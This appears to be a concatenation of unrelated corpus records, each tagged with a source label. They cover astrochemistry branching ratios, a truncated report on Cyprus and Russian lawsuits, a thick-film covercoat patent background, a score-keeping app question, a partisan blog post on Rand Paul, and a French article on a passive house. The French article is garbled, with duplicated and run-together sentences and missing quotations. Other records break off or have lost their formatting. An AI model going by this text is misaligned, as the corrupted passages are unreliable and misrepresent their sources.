: New HVC-SUBR for DR reactions. Total rates and BR of OSU-01-2007 ( http:www.eric/o.html) are also reported. We do not report about DR on C$_2$H$^+$ and C$_4^+$ because OSU-01-2007 used experimental measurements.
\[tab4\]
Reactants Total rate (10$^{-9}$ s$^{-1}$) (OSU-01-2007) Products HVC-SUBR OSU-01-2007-BR
--------------------- ----------------------------------------------- ---------------- ---------- ----------------
C$_2$H + h$\nu$ 1.0 C$_2$ + H 0.81 1.00
C + CH 0.19 0.00
C$_3$H + h$\nu$ 1.0 C$_3$ + H 0.65 1.00
C$_2$H + C 0.33 0.00
C$_2$ + CH 0.02 0.00
C$_4$ + h$\nu$ 0.4 C$_3$ + C 0.77 0.50
C$_2$ + C$_2$ 0.23 0.50
C$_3$H$_2$ + h$\nu$ 2.9 C$_3$H + H 0.46 0.66
C$_3$ + H$_2$ 0.23 0.34
C$_2$H$_2$ + C 0.24 0.00
C$_2$H + CH 0.04 0.00
C$_2$ + CH$_2$ 0.04 0.00
C$_4$H + h$\nu$ 2.0 C$_4$ + H 0.58 0.50
C$_3$H + C 0.26 0.00
C$_3$ + CH 0.00 0.00
C$_2$H + C$_2$ 0.16 0.50
C$_5$ + h$\nu$ 0.01 C$_4$ + C 0.13 0.00
C$_3$ + C$_2$ 0.87 1.00
C$_6$ + h$\nu$ 1.0 C$_5$ + C 0.09 1.00
C$_4$ + C$_2$ 0.11 0.00
C$_3$ + C$_3$ 0.80 0.00
C$_7$ + h$\nu$ 1.0 C$_6$ + C 0.01 1.00
C$_5$ + C$_2$ 0.19 0.00
C$_4$ + C$_3$ 0.80 0.00
C$_8$ + h$\nu$ 1.0 C$_7$ + C 0.03 1.00
C$_6$ + C$_2$ 0.01 0.00
C$_5$ + C$_3$ 0.90 0.00
C$_4$ + C$_4$ 0.06 0.00
C$_9$ + h$\nu$ 1.0 C$_8$ + C 0.00 1.00
C$_7$ + C$_2$ 0.06 0.00
C$_6$ + C$_3$ 0.66 0.00
C$_5$ + C$_4$ 0.28 0.00
C$_{10}$ + h$\nu$ 1.14 C$_9$ + C 0.01 0.82
C$_8$ + C$_2$ 0.01 0.17
C$_7$ + C$_3$ 0.70 0.00
C$_6$ + C$_4$ 0.03 0.01
C$_5$ + C$_5$ 0.25 0.00
: New HVC-SUBR for photo dissociation reactions. Total rates and BR of OSU-01-2007 (http:www.eric/o.html) are also reported.
\[tab5\]
We propose here, to use the present complete set of BR obtained with HVC as statistical universal BRs (HVC-SUBR) for C$_n$, C$_n$H, and C$_3$H$_2$ when they are missing or guessed in ISM databases. Table \[tab3\] presents CR HVC-SUBR for C$_n$, C$_n$H, and C$_3$H$_2$ together with OSU-01-2007 CR-BR. We do not report the Umist data base values because the BR are almost the same as those of OSU-01-2007. When reactions were not considered in OSU-01-2007, we do however used Umist06 rates. Note that the most recent version of the osu database (USU.2009) has the same BR as OSU-01-2007 for these species. All CR-BR from OSU-01-2007 result from the pioneering estimates [@1984ApJS...56..231L]. In most cases, they used zero level statistical behavior to predict BR, i.e. all the dissociation goes only to the most exothermic channel. It is consistent with the HVC-SUBR obtained for the C$_n$H, but not for the C$_n$ species. Indeed, they assumed C$_{n-1}$/C and C$_{n-1}$/C$_2$ to be the most exothermic channels, whereas it is always the C$_{n-3}$/C$_3$ channel. In general, HVC-SUBR lead to a much wider dispersion of the fragmentation channels. It is remarkable that C$_3$ production by CR is strongly enhanced.
Table \[tab4\] presents new DR HVC-SUBR for C$_n^+$, C$_n$H$^+$, and C$_3$H$_2^+$ together with OSU-01-2007 BR and reaction rates. We do not report on C$_2$H$^+$ and C$_4^+$ because OSU-01-2007 used experimental DR-BR [@2004PCCP....6..949E; @heber:022712]. For C$_3$H$^+$, in spite of existing partial measurements [@Angelova20047], the OSU-01-2007 database uses the same probability for the emission of C or H. Although [@1984ApJS...56..231L] assumed 100% of H emission, equiprobability was proposed by , based on more detailed calculations. The HVC-SUBR are indeed between these two extreme situations. For C$_4$H$^+$, OSU-01-2007 uses the experimental DR- BR [@Angelova2004195] for the breaking of the C-C bonds and, without any available information on the ratio between emission of C or CH, OSU-01-2007 took it equal to 1. The HVC-SUBR results show that actually CH emission is very unlikely. For C$_3$H$_2^+$, OSU-01-2007 uses the experimental DR-BR [@Angelova20047] for the C-C bonds. For the missing experimental information on the proportion between H and H$_2$ emission when the carbon skeleton stays intact and the proportion between C and CH when it is broken, OSU-01-2007 still assumed equal probability. As for C$_3$H$^+$, HVC-SUBR show that CH emission is unlikely. For the proportion of evaporation of H and H$_2$, equal probability is not too far from HVC-SUBR. It is remarkable that the HVC-SUBR give a ratio H$_2$/H (35%) in qualitative agreement with the recent experiment of neutral-neutral reaction C+C$_2$H$_2$ $\rightarrow$ C$_3$H$_2^*$ . For the C$_n^+$ species, as for CR, note that HVC-SUBR predict an enhanced production of C$_3$ driven by DR together with a more extended dispersion in the carbon cluster$-$mass daughters compared to OSU-01-2007.
Table \[tab5\] presents a new photon HVC-SUBR for C$_n$, C$_n$H, and C$_3$H$_2$ together with OSU-01-2007 BR and reaction rates. Note that the OSU database has been developed mainly for cold dark clouds. Therefore, references about BR for photodissociation processes are scarce. OSU-01-2007 Photodissociation BR for C$_2$H and C$_3$H used zero level statistical picture: only H emission is allowed. For C$_4$H, it assumed equal probability between emission of C$_2$ and H. For all C$_n$H species HVC-SUBR predict H emission to be by far the dominant channel. For C$_3$H$_2$, OSU-01-2007 allows H or H$_2$ emission. Emission of C should also be an open channel. For the C$_n$ series, as for the two previous processes, OSU-01-2007 assumed exclusive C emission. Exception arises from C$_{10}$ where RRKM statistical calculations were performed [@1995IJMSI.149..321B]. Again HVC-SUBR predicts a stronger enhancement of the C$_3$ cluster production compared to OSU-01-2007.
Effects of the new branching ratios on chemical model predictions for dense clouds
==================================================================================
Dense cloud model
-----------------
In order to test the effect of the new branching ratios on chemical model predictions for dense clouds, we used the Nahoon chemical model developed by V. Wakelam . This model follows the time-dependent chemistry of gas-phase species at a fixed temperature and density. We used Nahoon for a single spatial point (0D). We considered “typical” dense cloud conditions: a temperature of 10 K, an H density of $2\times 10^4$ cm$^{-3}$, a visual extinction (Av) of 10 and a cosmic-ray ionization rate of $1.3\times 10^{-17}$ s$^{-1}$. For the initial conditions, we started with all the elements but H in the atomic form with the low-metal elemental abundances from @1982ApJS...48..321G. The standard network used for this analysis is OSU-01-2007 (http://www.physics.ohio-state.edu/$\sim$eric/research.html), which contains 452 species and 4430 reactions. We updated the branching ratios listed in Tables \[tab3\], \[tab4\], and \[tab5\] for 1) cosmic-ray dissociations of C$_n$ (n = 4 to 9), C$_n$H (n = 2 to 4) and C$_3$H$_2$, 2) dissociative recombinations of C$_n^+$ (n = 5 to 10), C$_n$H$^+$ (n = 3 to 4) and C$_3$H$_2^+$, and 3) photo-dissociations of C$_n$ (n = 4 to 10), C$_n$H (n = 2 to 4) and C$_3$H$_2$. We then let the system evolve over $10^8$ yr, when it reaches steady-state.
Results
-------
Figure \[fig10\] shows the ratio between carbon$-$bearing species abundances computed with the updated database and those computed with the standard network OSU-01-2007. The new branching ratios modify the species abundances at two different times. The first one is a very early stage, before $10^4$ yr, which is irrelevant for dense cloud chemistry. The second is much later, between $10^6$ and $10^7$ yr, but then the effect of the new branching ratios is less important. At the typical dense cloud age of $10^5$ yr , the new branching ratios are unimportant. Higher ages have however been found for TMC-1 with other models [@1998ApJ...501..207T], so the period around $10^6$ yr is not without interest. After $10^6$ yr, the maximum effect is obtained for the largest molecules. The C$_n$H molecules are an exception because C$_7$H and C$_8$H are more influenced than C$_9$H. All the C-bearing species abundances are decreased by the new BR by a maximum factor of two. The weak sensitivity of TMC-1 chemistry to BR has already been pointed out\
![Evolution with time of the ratios of abundances computed with the updated database and with the standard network (OSU-01-2007) for a dense clouds for a) C$_n$ and b) C$_n$H$_m$ species. (see text) []{data-label="fig10"}](15010fg10.ps){width="0.9\linewidth"}
Effects of the new branching ratios on chemical model predictions for photon$-$dominated regions
================================================================================================
PDR model
---------
We tested the influence of these new rates on a PDR model. For this, we used the Meudon PDR code (http//pdr.obspm.fr) described in @2006ApJS..164..506L. The Meudon PDR code computes the structure of a 1D plan-parallel and stationary slab of dust and gas. It consistently solves the radiative transfer from far UV to sub-millimeter, chemistry, and thermal balance. To test the influence of the new rates, we reproduced the model of the Horse Head by this PDR code presented in first with an old chemical network based on the rates provided by OSU-01-2007, secondly with the new branching ratios presented in this paper. The Horse Head is good candidate because of the large number of observed hydrocarbons. Pety et al. (2005) suggest that fragmentation of PAHs can contribute to the synthesis of small hydrocarbons and conclude by mentioning the need for precise chemical rates to perform chemical models in these regions. The proton density in the Horse Head is estimated to n$_{\textrm{H}}$ = 10$^5$ cm$^{-3}$ and the intensity of the incident UV flux to 100 times the ISRF [in Draine’s units, @1978ApJS...36..595D]. We adopted a flux of comic rays of $5\times10^{-17}$ per H and per second. The model assumes a semi-infinite cloud. Our objective is to compare the profile of abundances of some relevant species computed with our new branching ratios and with older ones. To refine models of the Horse Head is beyond the scope of this paper.
Results
-------
Figure \[fig11\] presents the ratios of abundances provided by the two chemistries of C$_{n}$ and C$_{n}$H with $n$ from 2 to 9 as a function of the position in the cloud expressed in visual extinction. This ratio is defined as the abundance provided with the new chemistry divided by the abundance obtained with a older rates. First we note that the effect of the new rates are only visible for A$_{\textrm{V}}$ lower than 4. Indeed, it is in this region that the dissociative recombinations and photo-processes dominate the other chemical processes.\
It is often difficult to reproduce the abundance of C$_3$ in PDR models (for example in the diffuse interstellar gas towards Zeta Persus, the model by requires a high density component to reproduce this molecule). Figure \[fig11\] shows that the new branching ratios enhance the abundance of this molecule. This is explained by two factors. First, the new branching ratios of the C$_3$H$^+$ recombination reaction enhance the route leading to C$_3$ by 30%. Secondly, we showed that the dissociative recombination of C$_6^+$ can efficiently produce two C$_3$ molecules.This route was not considered in previous chemistries.\
For C$_n$ molecules with $n>$4, the new branching ratios systematically produce a decrease in the abundances. The model shows that the abundance of C$_3$H is significantly enhanced in the photodissociation area (Fig. \[fig11\]b). This is explained by the new photodissociation route of C$_4$H. This route was not considered in the OSU database.\
Finally, the abundances of the hydrocarbons, C$_n$H molecules (n$>$3), are reduced compared to the old chemistry. This is directly linked to the decrease in the abundances the C$_n$ molecules. Indeed, the chain of $ $reactions leading to the hydrocarbons with n$>$3 is
$$\rm C_n\stackrel{C^+}{\rightarrow}C_{n+1}^{+}\stackrel{H_2}{\rightarrow}\textrm{C}_{n+1}H^+\stackrel{e^-}{\rightarrow}\textrm{C}_nH.$$
Because the abundance of C$_n$ molecules is reduced by the new branching ratios, the abundances of the C$_n$H are also reduced.\
![Evolution, with the **visual** extinction Av, of the ratios of aboundances computed with the updated database and with the standard network (OSU-01-2007) for a PDR a) C$_n$ and b) C$_n$H$_m$ species (see text). []{data-label="fig11"}](15010fg11.ps){width="0.9\linewidth"}
Conclusions
===========
High velocity collision in inverse kinematics scheme was used to measure the complete fragmentation pattern of electronically excited C$_{n}$ ($n$=2 to 10), C$_{n}$H ($n$=2 to 4) and C$_3$H$_2$ molecules. Branching ratios of dissociation were deduced from those experiments. The comparison between the branching ratios obtained in this work and other types of experiments showed a good agreement. It was interpreted as the signature of a statistical behavior of the fragmentation. We thus propose new branching ratios for: 1) the dissociation of C$_n$ ($n$=2-10), C$_n$H ($n$=2-4) and C$_3$H$_2$ molecules by interstellar UV photons or cosmic-ray processes and 2) the dissociative recombination of C$_n^+$ ($n$=5-10), C$_n$H$^+$ ($n$=3-4) and C$_3$H$_2^+$. The new values have been tested in dense cloud and PDR models. We showed that only chemistry occurring at A$_{\rm V}$ smaller than 4 is really affected. We however recommend astrochemists to use these branching ratios, even for dense chemistry, because it is well known that the importance of a reaction depends on the network we use. The data published in this paper have been added to the online database KIDA (KInetic Database for Astrochemistry, http://kida.obs.u-bordeaux1.fr).
The national CNRS program PCMI (Physique et Chimie du Milieu Interstellaire), the CNRS IN2P3 (Institut National de Physique Nucléaire et de Physique des Particules) and the PPF Matière Carbonée of the University Paris Sud 11 are acknowledged for their financial support.
[64]{} natexlab\#1[\#1]{}
Angelova, G., Novotny, O., Mitchell, J. B. A., [et al.]{} 2004, International Journal of Mass Spectrometry, 232, 195
Angelova, G., Novotny, O., Mitchell, J. B. A., [et al.]{} 2004, International Journal of Mass Spectrometry, 235, 7
, M. B., [Feldman]{}, P. A., [Watson]{}, J. K. G., [et al.]{} 1999, , 518, 740
, R. P. A. & [Herbst]{}, E. 1995, International Journal of Mass Spectrometry and Ion Processes, 149, 321
, J. H. & [Dalgarno]{}, A. 1977, ApJS, 34, 405
, J., [Goicoechea]{}, J. R., & [Benilan]{}, Y. 2002, , 580, L157
, J., [Heras]{}, A. M., [Tielens]{}, A. G. G. M., [et al.]{} 2001, , 546, L123
, M., [della Negra]{}, S., [Lavergne]{}, L., [et al.]{} 2002, Nuclear Instruments and Methods in Physics Research B, 197, 155
, M., [Martinet]{}, G., [Mezdari]{}, F., [et al.]{} 2006, Journal of Physics B Atomic Molecular Physics, 39, 2593
Chabot, M., Mezdari, F., Béroff, K., Martinet, G., & Hervieux, P.-A. 2010, Phys. Rev. Lett., 104, 043401
, H., [Bise]{}, R., [Hoops]{}, A., [Mordaunt]{}, D., & [Neumark]{}, D. 2000, The Journal of Physical Chemistry A, 104, 2025
, S., [S[á]{}nchez]{}, G., [Alcam[í]{}]{}, M., [et al.]{} 2006, International Journal of Mass Spectrometry, 252, 126
, J. E., [Irvine]{}, W. M., [Snell]{}, R. L., [et al.]{} 2000, ApJ, 542, 870
, B. T. 1978, , 36, 595
, W. W. & [Williams]{}, D. A. 1984, [Interstellar chemistry]{}, ed. [Duley, W. W. & Williams, D. A.]{}
, A., [Hellberg]{}, F., [Thomas]{}, R., [et al.]{} 2004, Physical Chemistry Chemical Physics (Incorporating Faraday Transactions), 6, 949
, D., [Cernicharo]{}, J., [Gerin]{}, M., & [Cox]{}, P. 2001, , 552, 168
, G., [P[ě]{}tlewski]{}, A., [Musaev]{}, F., [et al.]{} 2002, , 395, 969
, M. E., [Jarrold]{}, M. F., [McIlrath]{}, T. J., [et al.]{} 1986, Zeitschrift fur Physik D Atoms Molecules Clusters, 3, 309
, T. E., [Langer]{}, W. D., & [Frerking]{}, M. A. 1982, ApJS, 48, 321
, R., [Lepp]{}, S., & [Dalgarno]{}, A. 1987, ApJ Lett., 323, L137
, J. M. 1976, , 39, 9
, D. H. E. & [Hervieux]{}, P. A. 1995, Zeitschrift fur Physik D Atoms Molecules Clusters, 35, 27
Heber, O., Seiersen, K., Bluhme, H., [et al.]{} 2006, Physical Review A (Atomic, Molecular, and Optical Physics), 73, 022712
, J., [Rauer]{}, H., [Boice]{}, D. C., & [Huebner]{}, W. F. 2005, , 442, 1107
, E. 1978, , 222, 508
, E. 2003, [Dissociative Recombination in Interstellar Clouds]{}, ed. [Guberman, S. L. Kluwer Academic - Plenum Publishers]{}
, E. & [Lee]{}, H. 1997, , 485, 689
, E. & [Leung]{}, C. M. 1989, ApJS, 69, 271
, K. W., [Keady]{}, J. J., & [Bernath]{}, P. F. 1988, Science, 241, 1319
, L. M. & [Campbell]{}, B. 1982, , 254, 108
, M. & [Kroto]{}, H. 1990, , 351, 222
Larsson, M. 1995, International Journal of Mass Spectrometry and Ion Processes, 149-150, 403 , honour Biography David Smith
, P. P., [Coustenis]{}, A., & [Vardavas]{}, I. M. 2008, , 56, 67
, F., [Nehm[é]{}]{}, C., [Le Bourlot]{}, J., & [Roueff]{}, E. 2006, , 164, 506
, F., [Roueff]{}, E., & [Herbst]{}, E. 2004, , 417, 993
, A., [D’Hendecourt]{}, L., [Boissel]{}, P., & [Desert]{}, F. X. 1989, , 213, 351
, F., [Petrucci]{}, R., [Hickson]{}, K. M., [et al.]{} 2008, , 56, 1658
, C. M., [Herbst]{}, E., & [Huebner]{}, W. F. 1984, ApJS, 56, 231
, J. P., [Lakin]{}, N. M., [Walker]{}, G. A. H., & [Bohlender]{}, D. A. 2001, , 553, 267
, G., [D[í]{}az-Tendero]{}, S., [Chabot]{}, M., [et al.]{} 2004, Physical Review Letters, 93, 063401
, G. 1999, Private communication
, T. J., [Defrees]{}, D. J., [McLean]{}, A. D., & [Herbst]{}, E. 1988, , 194, 250
, T. J., [Herbst]{}, E., & [Bettens]{}, R. P. A. 2000, , 316, 195
Morgan, T. J., Berkner, K. H., & Pyle, R. V. 1971, Phys. Rev. Lett., 26, 602
, J., [Teyssier]{}, D., [Foss[é]{}]{}, D., [et al.]{} 2005, , 435, 885
, S. S. & [Tarafdar]{}, S. P. 1983, ApJ, 267, 603
, M., [Abel]{}, N. P., [Bell]{}, T., [et al.]{} 2007, , 467, 187
, E., [Felenbok]{}, P., [Black]{}, J. H., & [Gry]{}, C. 2002, , 384, 629
, N., [Sakai]{}, T., [Hirota]{}, T., & [Yamamoto]{}, S. 2008, ApJ, 672, 371
, M. B., [Hintz]{}, P. A., & [Anderson]{}, S. L. 1991, , 95, 4719
, L. J. & [Tomasko]{}, M. G. 1968, ApJ, 152, 971
, R. & [Herbst]{}, E. 1998, ApJ, 501, 207
, D., [Foss[é]{}]{}, D., [Gerin]{}, M., [et al.]{} 2004, , 417, 135
, T., [Chabot]{}, M., [Pino]{}, T., [et al.]{} 2008, , 128, 124312
, B. E., [Herbst]{}, E., & [Terzieva]{}, R. 2000, ApJS, 126, 427
, E. F. 1988, in Rate Coefficients in Astrochemistry. Proceedings of a Conference held in UMIST, Manchester, United Kingdom, September 21-24, 1987. Editors, T.J. Millar, D.A. Williams; Publisher, Kluwer Academic Publishers, Dordrecht, Boston, 1988. ISBN \# 90-277-2752-X. LC \# QB450 .R38 1988. P. 49, 1988, ed. [T. J. Millar & D. A. Williams]{}, 49–+
, M. C. & [van Dishoeck]{}, E. F. 2008, Chemical Physics, 343, 292
, A. & [Saykally]{}, R. J. 1998, Chemical Reviews, 98, 2313
, B., [della-Negra]{}, S., & [Lafoux]{}, A. 1996, Nuclear Instruments and Methods in Physics Research A, 382, 348
, V., [Caselli]{}, P., [Ceccarelli]{}, C., [Herbst]{}, E., & [Castets]{}, A. 2004, A&A, 422, 159
, V., [Herbst]{}, E., & [Selsis]{}, F. 2006, A&A, 451, 551
, K., [Chabot]{}, M., [Foss[é]{}]{}, R., [et al.]{} 1998, Nuclear Instruments and Methods in Physics Research B, 146, 29
, K. & [Watson]{}, R. L. 1993, , 48, 4784
[^1]: http://www.physics.ohio-state.edu/ eric/research.html
[^2]: http://www.udfa.net/
[^3]: C$_3$/H$_2$ formation energy is only 3 eV, but there is a barrier close to 6 eV .
|
{
"pile_set_name": "ArXiv"
}
|
Russia’s rich, who favour Cyprus as a haven foir their wealth, have their own Russian Orthodox church in the village of Episkopio, near Nicosia, built by the Russian businessman Viatislav Zaragov
Ministers are considering taking action against Cyprus, claiming that the country breached money-laundering rules when it helped Moscow with a politically motivated lawsuit.
Ian Austin, a Labour MP, has asked Stephen Barclay, economic secretary to the Treasury, to recommend that Cyprus be rated “non-compliant” with EU money- laundering rules.
Mr Barclay is understood to be looking into the issue, which may be raised by Treasury officials at a December meeting of the European Union’s fraud-busting wing.
Cyprus is under scrutiny for helping Russian investigators to pursue tax evasion allegations against Bill Browder, a hedge fund manager-turned-human rights campaigner.
The Council of Europe has told member states not to help Moscow with its case, which was launched after Mr Browder’s Hermitage fund uncovered a $230 million
|
{
"pile_set_name": "OpenWebText2"
}
|
Thick film covercoat materials are generally used to electrically, mechanically and hermetically insulate a thick film circuit. A wide variety of materials exist at various costs for different applications. Inexpensive glass covercoats are often employed for their hermeticity properties usually to improve resistor stability. Organic covercoats provide some electrical insulation and often are used for mechanical protection of the circuit during low temperature processing. Dielectric materials are used for the electrical insulating properties.
However, during the refiring process of two-sided thick film circuits, damage may occur to the underside conductor runners that come into contact with a furnace belt. Common glass covercoats flow and stick to the belt upon refiring. Organic covercoats cannot withstand the high temperatures of the refiring process. Dielectric materials often discolor in the areas closest to the belt mesh and are expensive to use. The problem of preventing damage to the conductive runners on the underside of a two-sided thick film circuit may be solved by propping up the substrate so that the circuitry does not touch the belt during the refiring process. However, this is time consuming and usually is done manually. The problem may also be solved by modifying the belt furnace. However, this is very expensive and may result in limiting the flexibility of the furnace to run various products.
In order to form a two-sided thick film circuitry semiconductor device, a conductive runner composition is printed on the top face of the substrate. The substrate is then fired in a furnace to cure the printed conductor runners. A covercoat is then applied to the top face circuitry and fired. The substrate then may be flipped over and the process repeated for the bottom face. However, upon the refiring process of the two-sided thick film circuits, damage may occur to the underside conductive runners that come into contact with the furnace belt if the overcoat is not capable of withstanding high temperatures.
Thus, there is a need for a thick film covercoat which mechanically protects a two-sided thick film circuitry substrate and which is capable of withstanding the high temperatures of the refiring process.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Q:
Is anyone aware of any score keeping apps (BB10 or Android) that can keep track of score (including extra meta-data)?
I know there are lots of apps (eg: keepscore, scorekeeper, endless variations of those words) that can keep a simple tally for various players for generic games. I am looking for one that can:
Keep track of current scores, for players and/or teams.
I would like to be able to track bids for current rounds of many card games, eg: spades, bidwhist.
BONUS:
Keep histories of specific players, win records, stats, etc...
Integrate a dice and or timer.
Somewhere to track custom meta-data. For example bidwhist, has a rotating trump suit. I can jot down, Round 1=Spades, 2=H,3=C,4=D, 5=NoTrump, etc...
I had an IOS app that did some of this, but have yet to find an Android, or BB10 app. Does anyone know of or use one? I hate having to dig up a notepad.
A:
My friends and I use rankade, which has an app both for iOS and Android (but I prefer the webapp, personally, as it has the graphs). You can use it for every game, and the thing I like the most is the fact that it gives you the whole history (and rankings) for both the group (collective matches) and for each single boardgame. I don't think it can track every single metadata you're asking, though.
|
{
"pile_set_name": "StackExchange"
}
|
We’re quickly reaching the point at which Sen. Rand Paul’s (R-Ky.) committee tirades are worth watching, for no other reason than entertainment value. Hearings tend to be rather dull, especially when senators are pontificating for no apparent reason, but when it’s Rand Paul’s turn, it’s best to un-mute the screen — the guy is likely to say something crazy, dumb, or both.
In March, for example, at a hearing about efficiency standards, Paul blamed the Department of Energy for his toilet problems. In April, at a markup of bipartisan energy efficiency and hydropower measures, Paul used an Ayn Rand novel to make an incoherent case for incandescent light bulbs.
And yesterday, at a hearing on diverting non-urgent emergency room use, Paul railed against the very idea of having a right to health care.
“[Y]ou have realize what that implies. It’s not an abstraction. I’m a physician. That means you have a right to come to my house and conscript me. It means you believe in slavery. It means that you’re going to enslave not only me, but the janitor at my hospital, the person who cleans my office, the assistants who work in my office, the nurses. “Basically, once you imply a belief in a right to someone’s services — do you have a right to plumbing? Do you have a right to water? Do you have right to food? — you’re basically saying you believe in slavery. “I’m a physician in your community and you say you have a right to health care. You have a right to beat down my door with the police, escort me away and force me to take care of you? That’s ultimately what the right to free health care would be.”
I’m so glad Kentuckians elected a self-accredited ophthalmologist to the U.S. Senate.
Jon Chait, describing the Kentucky senator, recently said, “He’s not only an ideological fanatic, he’s not even a terribly bright one.”
That’s more than fair, but look on the bright side — he’ll be serving up bizarre quotes like these for at least another five years. He’s an embarrassment to himself, the Senate, and the state of Kentucky, but for political writers, Rand Paul is the gift that keeps on giving.
|
{
"pile_set_name": "OpenWebText2"
}
|
Vincent Delsinne a conçu une maison passive à ossature bois, pour une famille de Neuville-en-Ferrain (Nord). Sans chauffage , et avec de belles baies vitrées, la bâtisse est ultra-économe en énergie, et constituée de matériaux écologiques. Un défi pour cet architecte, dont c'est la première construction passive.
Lorsqu'un couple, propriétaire d'un terrain à Neuville-en-Ferrain (59), demande à Vincent Delsinne de lui dessiner une maison économe en énergie, l'architecte DPLG se lance dans une nouvelle aventure. "C'était une première pour moi. Je n'avais pas la capacité de tout réaliser moi-même, je n'étais pas assez formé" avoue-t-il. Il n'hésite pas pour autant, et se lance dans une formation continue de près d'un an. Avec le concours d'un bureau d'études thermiques, Energelio, Vincent Delsinne opte pour la construction d'une maison passive à ossature bois. L'analyse du terrain et de l'environnement est longue... et pleine de surprises. "Sur le terrain, une nappe phréatique affleure au niveau du sol. Il a donc fallu poser la construction sur un vide sanitaire au dessus des fondations" explique l'architecte. La suite de l'article et les photos en pages suivantes. Qui oserait encore dire que les bâtiments économes en énergie sont l'apanage des régions ensoleillées ? Certes, dans le nord de la France, il fait moins chaud et moins longtemps. Mais la grisaille n'a jamais empêché la construction d'une maison hautement écologique ! L'architecte Vincent Delsinne l'a prouvé, en bâtissant une maison qui s'apprête à recevoir le label allemand Passiv Haus.Lorsqu'un couple, propriétaire d'un terrain à Neuville-en-Ferrain (59), demande à Vincent Delsinne de lui dessiner une maison économe en énergie, l'architecte DPLG se lance dans une nouvelle aventure.avoue-t-il. Il n'hésite pas pour autant, et se lance dans une formation continue de près d'un an.Avec le concours d'un bureau d'études thermiques, Energelio, Vincent Delsinne opte pour la construction d'une maison passive à ossature bois. L'analyse du terrain et de l'environnement est longue... et pleine de surprises.explique l'architecte.
Une maison sans chauffage dans le Nord, c'est possible !
Une maison bien isolée et des matériaux écologiques Une maison bien isolée et des matériaux écologiques - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr "Quand on bâtit une maison passive, on a une obligation de résultats et de moyens" insiste Vincent Delsinne. La bâtisse devrait être à la fois très bien isolée et constituée d'un maximum de matériaux écologiques : ossature et menuiseries en bois, peintures et lasures sans solvants, système de récupération d'eau de pluie qui fournit l'eau des toilettes et du lave-linge, et très bientôt une toiture végétalisée. Pour isoler parfaitement la maison, l'architecte et les experts ne laissent rien au hasard. La construction présente des poutres en "I" en bois pour limiter les ponts thermiques. L'isolation est en ouate de cellulose, et les ouvertures sont en triple vitrage. Côté sud, dans le salon, de nombreuses fenêtres permettent de profiter de la chaleur du soleil. Des stores automatiques ont cependant été ajoutés, pour apporter de l'ombre en cas de besoin. Côté nord, en revanche, "j'ai fait poser une paroi opaque" explique l'architecte. La ventilation est essentielle dans une maison si bien isolée. L'architecte a pourtant opté pour des espaces très cloisonnés, avec des couloirs. Mais il a installé une VMC double flux, scindée en deux parties : l'une dessert la moitié nord-est de la maison (les chambres), l'autre la moitié sud-ouest (le salon et la cuisine). "Cela permet d'avoir deux thermostats, réglables séparément" explique Vincent Delsinne. La suite de l'article et les photos en pages suivantes. insiste Vincent Delsinne. La bâtisse devrait être à la fois très bien isolée et constituée d'un maximum de matériaux écologiques : ossature et menuiseries en bois, peintures et lasures sans solvants, système de récupération d'eau de pluie qui fournit l'eau des toilettes et du lave-linge, et très bientôt une toiture végétalisée.Pour isoler parfaitement la maison, l'architecte et les experts ne laissent rien au hasard. La construction présente des poutres en "I" en bois pour limiter les ponts thermiques. L'isolation est en ouate de cellulose, et les ouvertures sont en triple vitrage. Côté sud, dans le salon, de nombreuses fenêtres permettent de profiter de la chaleur du soleil. Des stores automatiques ont cependant été ajoutés, pour apporter de l'ombre en cas de besoin. Côté nord, en revanche,explique l'architecte.La ventilation est essentielle dans une maison si bien isolée. L'architecte a pourtant opté pour des espaces très cloisonnés, avec des couloirs. Mais il a installé une VMC double flux, scindée en deux parties : l'une dessert la moitié nord-est de la maison (les chambres), l'autre la moitié sud-ouest (le salon et la cuisine).explique Vincent Delsinne. Une maison bien isolée et des matériaux écologiques
Température négative à l'extérieur, 20°C à l'intérieur Température négative à l'extérieur, 20°C à l'intérieur - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr "En décembre 2010, avec une température de -10°C dehors, il faisait 20°C à l'intérieur" se souvient-il. Ce tour de main est à mettre sur le compte de la VMC, reliée à un système géothermique, qui récupère quelques degrés du sol pour le transférer à l'air entrant dans la maison. La chaleur du ballon d'eau sanitaire est fournie de la même manière. Dans une maison classique, la dalle de béton restitue un peu de chaleur. Mais celle-ci n'en a pas ! Vincent Delsinne a donc recouvert un mur de briques de terre crue, qui accumulent la chaleur et la rend la nuit. Deux batteries hydrauliques sont tout de même installées dans le plafond, "pour réchauffer l'air au cas où, c'est une marge de sécurité", précise l'architecte. Mais la maison n'a pas d'autre système de chauffage ! Vincent Delsinne avoue que ce chantier a changé sa manière de travailler. "Pour une maison passive, dès l'esquisse, on pense beaucoup plus à la relation entre le bâtiment et l'extérieur, et moins à l'aménagement intérieur" raconte-t-il. L'architecte, convaincu par la construction écologique, compte bien rester dans le créneau... Découvrez les photos en pages suivantes. Pour Vincent Delsinne, le défi est relevé.se souvient-il. Ce tour de main est à mettre sur le compte de la VMC, reliée à un système géothermique, qui récupère quelques degrés du sol pour le transférer à l'air entrant dans la maison. La chaleur du ballon d'eau sanitaire est fournie de la même manière.Dans une maison classique, la dalle de béton restitue un peu de chaleur. Mais celle-ci n'en a pas ! Vincent Delsinne a donc recouvert un mur de briques de terre crue, qui accumulent la chaleur et la rend la nuit. Deux batteries hydrauliques sont tout de même installées dans le plafond,, précise l'architecte. Mais la maison n'a pas d'autre système de chauffage !Vincent Delsinne avoue que ce chantier a changé sa manière de travailler.raconte-t-il. L'architecte, convaincu par la construction écologique, compte bien rester dans le créneau... Température négative à l'extérieur, 20°C à l'intérieur
Maison passive - Plan Maison passive - Plan - Maison passive Neuville en Ferrain © Vincent Delsinne Architecte www.delsinnearchitecte.fr Ici, pourtant, l'architecte a opté pour des zones cloisonnées, avec un mur séparant la section nuit (avec les trois chambres des enfants, ici en haut) et la section jour (en bas à droite, le salon, au milieu la cuisine). Dans les maisons passives, la ventilation est un élément clef. Elles sont donc souvent composées de grands espaces ouverts.Ici, pourtant, l'architecte a opté pour des zones cloisonnées, avec un mur séparant la section nuit (avec les trois chambres des enfants, ici en haut) et la section jour (en bas à droite, le salon, au milieu la cuisine). Maison passive - Plan
